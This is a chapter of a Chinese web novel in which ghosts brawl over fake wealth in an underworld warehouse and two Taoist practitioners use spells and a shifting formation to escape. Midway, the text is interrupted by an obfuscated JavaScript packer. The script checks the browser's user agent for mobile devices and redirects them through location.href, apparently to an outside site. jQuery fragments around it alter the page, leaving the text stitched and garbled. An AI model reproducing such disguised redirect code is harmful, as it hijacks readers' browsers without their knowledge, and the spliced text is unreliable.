26.坤卦
作品:《我给十殿阎君当鬼差》 点灯仪式,准时在子夜开启。
熄灯后,偌大的空间瞬间陷入了一片黑暗,只有货架的轮廓,像墓碑般矗立的着,狰狞可怖。
黑暗中,开始有了亮光。
徐栩眯着眼,借着微弱的光向前看去。
只见那些仓库保管员,僵硬地从货架阴影里走了出来。
他们手里捧着白蜡。
光就来自他们的手上。
“点血灯,照财路,阴人不挡,阳间富!”
保管员们齐声念叨着,声音飘忽,在这空旷的仓库里引起层层回音。
“这是搞什么?”徐栩搓了搓胳膊上的鸡皮疙瘩,“午夜凶铃仓库版?这氛围感,也就是没配乐,不然,高低得吓死两个。”
就在这时,突然传出音乐,播放的是《大悲咒》。
但这绝对是徐栩听过的最阴间的版本。
原本庄严慈悲的经文,听得人汗毛直竖,胃里翻腾。
徐栩忍不住翻了一个白眼。
赵小玫小声呐呐:“这BGM太掉San值了。”
这时,保管员们将蜡烛放在架子上,背了个背篓,面向了在场的所有新晋富豪亡魂。
然后,他们整齐划一地从工装宽大的袖口里,掏出了东西。
是刀。
徐栩眼尖,他小时候去农村吃过刨猪汤,对杀猪的场景都有阴影了,忍不住说:“这不就是杀猪用的剔骨刀吗?”
话音刚落,“啊——!”
远处,传来了一声凄厉的惨叫。
一个离得近的富豪,直接被一个保管员扑倒在货架上,刀光起落。
“我艹!” 徐栩眼珠子都快瞪出来了。
“这剧本不对啊,说好的玩家对战,让我们互相伤害?怎么这帮NPC也下场砍人了?”
李景行却并不意外,他盯着那些游荡的杀手反问:“你还指望这里讲规矩?”
“这简直是太没品了,好歹也得先把我们这些猪喂肥了再杀吧?刚把猪骗进圈,饲料才喂一口呢,刀就先下来了!”
李景行侧过头,看向徐栩,“这么爱贫嘴,不怕吗?”
“怕呀,”徐栩眨了眨眼,“但我有高功哥哥保护,就特有底气!”
阿铭和赵小玫两个人你盯我,我盯你,不敢开腔。
李景行言归正传地说,“这是伪地狱,一切都是颠倒的,坤土主信,但在这个反转的坤卦里,没有所谓的诚信,只有欺骗。”
“拿来,那是我的!”不远处,一个穿着名牌西装的男亡魂,此时像只发狂的野兽,将另一个瘦弱的亡魂按在货架上。
他疯狂地撕扯着对方的衣服,从对方怀里硬生生掏出了一叠纸钱。
“哈哈,归我了,我有钱了!”他还没来得及把抢来的东西揣进兜里,阴影中,一个面无表情的保管员悄无声息地贴了上来。
剔骨刀一划,男人脖颈处喷出一股血,魂体瞬间委顿下去。
保管员弯下腰,机械地捡起地上掉落的财富,扔进了身后的背篓里。
此刻,所有人都像是得到了鼓励,开始了最原始的肢体搏斗,扯头发、抠眼珠、甚至上嘴咬,为了那点能插队投胎的虚假财富,这群亡魂彻底撕下了文明的遮羞布。
“嚯,”徐栩侧身避开一个被人踹飞过来的皮鞋,咂舌道,“这不就是杀猪盘现场吗?”
“小心!”阿铭惊呼一声。
有两个杀红了眼的亡魂,看中了他们几人身上那看起来颇为丰厚的行头,包抄过来。
“他们看着有钱,特别是中间那个人,把他们都杀了!”领头的一个刀疤脸亡魂说道。
徐栩用手指着自己:“兄弟,你在说我?你可真有眼光。”
刀疤脸也不搭话,疯狂地扑了过去。
李景行立马挡在徐栩前面,手肘狠狠顶在刀疤脸的心口,将人撞得飞远。
而另一人也不好过,手腕瞬间被李景行的刀鞘击碎,惨叫着捂着手跪倒在地。
“快叫人!”刀疤脸惊恐地喊道。
他的叫声并没有同伙来帮他们,反而引来了更麻烦的东西。
货架震动,几个动作僵硬的保管员,被这边的生人气息吸引,手持剔骨刀,从四面八方围了上来。
李景行左手迅速在空中虚画一符,口中低喝:“开天门,游地府,塞鬼门,塞鬼路……骷、烧、炸,太上老君急急如令!”
徐栩半眯眼睛,他涉猎颇多,知道这是民间法教中极为霸道的骷山法与炸山法,能驱邪驭鬼,若是正常情况,这一招能把这片鬼都灭完。
符咒的气正对那几个围上来的纸人。
那些保管员就像是被塞了□□一样,接连炸裂,化为灰烬,但影响也就仅限于此了。
李景行微微喘了一口气,这一击虽然帅,但在这阴气森森的鬼地方,道法受限,需使出十二分的力,确实有消耗。
此刻,一个浑身缠满金银首饰的女人亡魂,正贴着侧面的货架。
她看准了弱小的赵小玫。
“把命给我!”女人尖啸一声,从阴影里暴起,手里拿着一把锤子。
赵小玫根本来不及反应。
“啪!” 一声清响。
那女人的动作僵在半空,锤子离赵小玫的脑袋,只差毫厘。
一条红绳,缠住了她的手腕。
那红绳筷子般粗细,上面编了铜钱结。
红绳的另一端,捏在徐栩手里。
他单手插兜,一抖手腕,歪着头,嘴角勾了勾,眼神里却透着一股子平日里不见的阴冷狠戾。
“捆仙缚龙,敕!”
那条红绳竟然像活过来一样,顺着女人亡魂的身体,将她五花大绑起来。
女鬼发出凄厉的惨叫,身上冒起阵阵黑烟,直接瘫软在地,动弹不得。
赵小玫惊魂未定,瞪大了眼睛看着徐栩,仿佛第一天认识他。
在她的印象里,这位徐哥一直是靠嘴皮子和脑子吃饭的,遇到危险只会喊李哥救我,没想到……
那绳子瞬间又变回了一根普通的红手绳,被他随意地套在手腕上。
他又恢复了那副吊儿郎当的样子,冲赵小玫眨了眨眼。
“妹子,别崇拜哥,哥就是个柔弱不能自理的的风水师,之前进乾卦太匆忙,没带家伙,这次稍微做了点准备而已。”
他指了指地上的女鬼,不屑道:“打不过大BOSS那是没办法,但收拾这种想搞零元购的小瘪三,还是绰绰有余的。”
那边,李景行看着徐栩手腕上的红绳,眼中闪过一丝讶异,但也忍不住赞道,“这手捆尸的功夫,练得还算到家。”
“那是。”徐栩得意地扬起下巴,“技多不压身嘛,行走江湖,要是光靠我这张脸,早被人啃得渣都不剩了,哥,我有软饭硬吃的资本吧?”
李景行迈开长腿,向深处走去,轻飘飘地丢下一句:“老君庙下半年的修缮尾款,就用你这碗软饭来结。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308881|198598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“好嘞,哥,只要你收留我就成。”
赵小玫一脸懵逼:“他们在说什么呀?”
阿铭摇了摇头。
徐栩招呼着两人,“走走走,别愣着,跟上你李哥。”
徐栩刚追上李景行,就听到对方说,“我刚才用奇门盘起了一局,天盘天辅星落东南,临开门,门迫,东南方,应该是个突破口,我们这三天困在大逃杀里毫无意义,必须另辟蹊径,直奔中心,找到主账房。”
“东南?” 阿铭闻言,立刻掏出个改装过的数字指南针。
“李哥,有点不对劲啊……”
“嗯?”
“指针在乱跳,刚才还在东南的能量源,现在一下跑到西北去了,” 阿铭惊讶道,“这地方好像是活的!”
话音刚落,四周那些高耸的货架,开始自行滑动、错位、重组,原本的通道瞬间被堵死,新的死路又悄然张开。
“卧槽!”徐栩眼疾手快,一把将差点被移动货架夹成肉饼的赵小玫拽了回来,“这都是什么阴间黑科技?全自动智能仓储系统?”
李景行盯着那些移动的货架,迅速做出了判断:“不是科技,是阵法。”
“这是阴司转运阵。”李景行补充道,“这本来是阴差用来押送亡魂,防止其逃跑的阵法。”
“喔,我知道这个,”徐栩马上接上了话茬,“阴司转运阵是根据休、生、伤、杜、景、死、惊、开等八门来设计的,每过一段时间,八门就会自动切换一次方位。”
阿铭苦笑,“徐哥,到底什么意思?”
“简单来说,就像是个八个档位的变速箱,一直在换挡。”
赵小玫也听得云里雾里,“那我们怎么走啊?技术导航也没法用啊!”
“导航没用,得用脑子。”徐栩看向李景行,挑眉一笑:“高功大人,这就得看你的推演速度,能不能跟上这破仓库的刷新率了。”
“跟得上,此刻起局,坎宫变艮宫,生门转东北。”
李景行指向左前方一条狭窄的通道:“跟上。”
其他几人不敢怠慢,紧紧跟在李景行身后,一头扎进了那条正在缓缓闭合的通道。
徐栩一边跑,嘴里还不闲着: “大家跟紧了啊,别被夹成肉馅,阿铭,别看指南针了,看路!”
一个巨大的货架在他们身后轰然合拢。
徐栩看着严丝合缝的货架,忍不住骂道:“这堕仙把阵法改成了吃鸡迷宫,他是不是生前玩游戏魔怔了?”
“当心。”正说着,李景行脚步一顿。
“怎么了?”徐栩刹住车。
“不对,按照柜体的速度,这卦象变得太快了,”李景行盯着前方,“现在看来,前面是伤门,不能直走。”
“那走哪?” 徐栩问。
李景行看向侧面那一排堆满了纸扎童男童女的货架,那些纸人的眼睛画得极不对此,仿佛都在斜眼盯着他们。
“穿过去。”
说罢,李景行一脚踹翻了货架。
货架倒塌,纸人纷飞。
果然露出了一条暗道。
“牛逼!”阿铭惊叹。
“基本操作,勿六。” 徐栩淡定地摆摆手,一副见过大世面的样子,拍了拍阿铭的肩膀。
“高端玩家的通关思路,别人还在那苦哈哈地解九宫格数独呢,咱们领导直接搞暴力拆迁,帅吧?嗯哼!”徐翔有些小得意。
李景行扬手,“嘘,前面有东西。”

